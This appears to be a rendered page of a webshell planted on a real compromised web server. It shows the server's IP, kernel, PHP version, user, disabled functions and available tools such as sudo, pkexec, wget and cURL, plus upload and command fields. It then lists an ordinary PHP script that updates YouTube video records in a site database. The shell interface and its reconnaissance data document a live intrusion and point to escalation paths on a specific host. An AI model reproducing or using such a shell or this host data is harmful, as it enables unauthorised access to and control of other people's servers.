403Webshell
Server IP : 80.241.246.6  /  Your IP : 216.73.216.167
Web Server : Apache/2.4.25 (Debian)
System : Linux kharagauli 4.9.0-19-amd64 #1 SMP Debian 4.9.320-2 (2022-06-30) x86_64
User : www-data ( 33)
PHP Version : 7.0.33-0+deb9u12
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /var/www/kharagauli1/moduls/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/kharagauli1/moduls/youtube_updater.php
#!/usr/bin/env php
<?php
 try{
       $dir_name = explode('/',realpath(__DIR__));
       array_pop($dir_name);
       $python = join('/',$dir_name);
       $central = $python.'/admin/clases/';
       $youtube = $python.'/moduls/video_gallery/admin/youtube/';
       if(!file_exists($central.'Central.php'))throw new Exception('Central.php not found!');
       if(!file_exists($youtube.'maines.php'))throw new Exception('maines.php not found!');
       require_once $central.'Central.php';
       require_once $youtube.'maines.php';
       
       $_ = new Central;
       
       $obj = new stdClass();
       $obj->c_type = "big";
       $obj->sql = " and unikal_key != '' and logo != '' and attributes != '' order by date desc";
       $select = $_->select("unikal_key,attributes,logo,id","body",$obj);
       if(!$select || !isset($select['body']) || !count($select['body']))throw new Exception('video not found!');
       $select = $select['body'];
       $length = count($select);
       for($i = 0; $i < $length; $i++){
           $url_ = json_decode($select[$i]['attributes'])->url;
           if(!$_->url_exists($url_)){
                $youtube_class = new vv($select[$i]['unikal_key']);
                $youtube_best = $youtube_class->getbest('mp4');
                $_file = $youtube_best->image?$youtube_best->image:$youtube_best->thumb;
                $_attribute = Central::_json_encode($youtube_best); 
                if(!$_->update("body",[["logo","attributes"],[$_file,$_attribute],["id",$select[$i]['id']]]))
                        throw new Exception('update error!\n\n\n');
                else echo date('d-m-Y H:i:s')." \n id:".$select[$i]['id']." \n videoId:".$select[$i]['unikal_key']."\n\n\n";
           }
       }
       
 }catch(Exception $ex){
     die($ex->getMessage()."\n\n\n");
 }

Youez - 2016 - github.com/yon3zu
LinuXploit